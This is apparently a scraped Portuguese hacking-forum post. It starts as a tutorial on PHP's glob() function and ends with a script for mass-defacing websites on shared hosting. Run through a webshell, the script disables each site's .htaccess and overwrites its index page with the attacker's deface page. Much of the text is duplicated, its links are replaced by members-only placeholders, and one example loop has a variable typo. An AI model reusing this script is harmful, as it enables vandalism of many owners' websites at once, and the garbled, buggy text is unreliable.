Boas a todos. Aí vai mais uma dica simples.
Quando se pensa em listar diretórios, costuma-se pensar na função "Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..." e cia. Mas, além de serem um pouco confusas, servidores configurados em modo seguro não a aceitam mais.
O problema ao usá-las também é a procura por arquivo com uma pattern determinada (como apenas arquivos .txt). Você teria que fazer isso via Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
Então, vou mostrar aqui uma maneira poderosa, mas não sei porquê, menos utilizada. Vamos usar a função Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
A função glob() retorna sempre um array (vetor) com os arquivos encontrados. Os diferenciais dela são o uso simples (apenas ela e pronto) e a possibilidade de buscar arquivos com patterns de tipos muito utilizadas em shells.
Visite seu Bash ou MS-DOS. Vá até um diretório qualquer. Para procurar todos os arquivos .txt, você faria:
O uso do asterisco também seria possível pelo glob. Veja:
Isto retornaria um vetor com todos os arquivos .txt neste diretório. Veja outros exemplos:
Já deu pra notar que esta é uma função muito poderosa, que pode ajudar bastante, não é?
Mas... o que fazer com o retorno da mesma?
O retorno é um vetor com os arquivos. Você pode exibí-los, por exemplo, de várias maneiras:
Ali dei apenas echos. Mas, agora vou mostrar um truque interessante: esta função voltada para o deface.
É comum encontrarmos contas compartilhadas, quando um usuário do servidor divide a conta com outros sites (eu mesmo já fiz isso). O perigo disso é que as permissões ficam em conflito: se você invadir um, pode invadir todos. Principalmente com a função glob. Vamos ver?
Salve sua defacepage (index) no diretório raiz dos domínios (ou já ownando em um domínio).
A maioria das webshells permitem execução de códigos PHP instantaneamente (Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...).
Viram, mais uma vez, que a programação é crucial até para o hacking?
Até mais!
Quando se pensa em listar diretórios, costuma-se pensar na função "Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..." e cia. Mas, além de serem um pouco confusas, servidores configurados em modo seguro não a aceitam mais.
O problema ao usá-las também é a procura por arquivo com uma pattern determinada (como apenas arquivos .txt). Você teria que fazer isso via Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
Então, vou mostrar aqui uma maneira poderosa, mas não sei porquê, menos utilizada. Vamos usar a função Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
A função glob() retorna sempre um array (vetor) com os arquivos encontrados. Os diferenciais dela são o uso simples (apenas ela e pronto) e a possibilidade de buscar arquivos com patterns de tipos muito utilizadas em shells.
Visite seu Bash ou MS-DOS. Vá até um diretório qualquer. Para procurar todos os arquivos .txt, você faria:
Código:
dir *.txt ls *.txt
Código PHP:
$lista = glob("*.txt");
Código:
../../* (todos os arquivos e pastas de dois diretórios antes) outro/diretorio/* (todos os arquivos e pastas de outro/diretório) /etc/* (todos os arquivos de /etc) /home/*/ (todos os diretórios de "home") /home/user/*.* (todos os arquivos com extensões de /home/user) ./dir/*/*.mp3 (todos os arquivos .mp3 nas subpastas de dir)
Mas... o que fazer com o retorno da mesma?
O retorno é um vetor com os arquivos. Você pode exibí-los, por exemplo, de várias maneiras:
Código PHP:
$lista = glob("./*");
// maneira 1 (minha preferida)
foreach($lista as $file) {
echo basename($file);
}
// maneira 2
$j = count($lista); // nunca jogue o count() dentro do for(), ou o código ficará mais lento
for($i = 0; $i <= $jl; $i++) {
$file = $lista[$i];
echo basename($file);
}
// maneira 3
$i = 0;
$j = count($lista);
while($i<=$j) {
$file = $lista[$i];
echo basename($file);
$i++;
}
É comum encontrarmos contas compartilhadas, quando um usuário do servidor divide a conta com outros sites (eu mesmo já fiz isso). O perigo disso é que as permissões ficam em conflito: se você invadir um, pode invadir todos. Principalmente com a função glob. Vamos ver?
Salve sua defacepage (index) no diretório raiz dos domínios (ou já ownando em um domínio).
A maioria das webshells permitem execução de códigos PHP instantaneamente (Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...).
Código PHP:
$lista = glob("./*/"); // todos os subdiretórios do diretório atual
$defacepage = file_get_contents("defacepage.html"); // sua index
foreach($lista as $f) {
rename($f.".htaccess", "backup.htaccess"); // desvalida .htaccess
file_put_contents($f."index.htm", $defacepage); // grava no index.htm (primeiro arquivo procurado pelo Apache para servir de index, usualmente)
echo basename($f)."\n"; // mostra o nome do diretório
}
Até mais!